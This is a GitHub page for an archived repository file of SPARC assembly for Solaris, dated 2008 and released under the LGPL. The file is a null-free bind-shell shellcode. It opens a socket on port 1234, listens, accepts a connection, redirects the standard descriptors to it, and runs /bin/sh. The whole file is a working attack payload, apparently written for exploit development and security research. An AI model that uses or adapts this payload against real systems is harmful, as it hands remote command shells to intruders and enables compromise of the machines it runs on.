This repository has been archived by the owner on Jan 1, 2023. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 0
/
sol-sparc-bndsockcode.s
96 lines (75 loc) · 2 KB
/
sol-sparc-bndsockcode.s
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
/*
* sol-sparc-bndsockcode.s
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*
*/
.globl _start
_start:
# 00 bytes
bndsockcode:
# so_socket
mov 0x02,%o4
xor %o3,%o3,%o3
xor %o2,%o2,%o2
mov 0x02,%o1
mov 0x02,%o0
mov 0xe6,%g1
ta 0x08
st %o0,[%sp-0x08]
# bind
set 0x204d2fff,%l0
srl %l0,12,%l0
mov 0x02,%o3
mov 0x10,%o2
st %l0,[%sp-0x10]
st %g0,[%sp-0x0c]
sub %sp,0x10,%o1
mov 0xe8,%g1
ta 0x08
# listen
mov 0x05,%o1
ld [%sp-0x08],%o0
mov 0xe9,%g1
ta 0x08
# accept
xor %o2,%o2,%o2
xor %o1,%o1,%o1
ld [%sp-0x08],%o0
mov 0xea,%g1
ta 0x08
st %o0,[%sp-0x04]
# fcntl
mov 0x03,%o2
0:
subcc %o2,1,%o2
mov 0x09,%o1
mov 0x3e,%g1
ta 0x08
bnz,a 0b
ld [%sp-0x04],%o0
shellcode:
xor %o2,%o2,%o2
sethi %hi(0x2f62696e),%l0
or %l0,0x96e,%l0
sethi %hi(0x2f736800),%l1
std %l0,[%sp-0x08]
sub %sp,0x08,%o0
st %o0,[%sp-0x10]
st %g0,[%sp-0x0c]
sub %sp,0x10,%o1
mov 0x3b,%g1
ta 0x08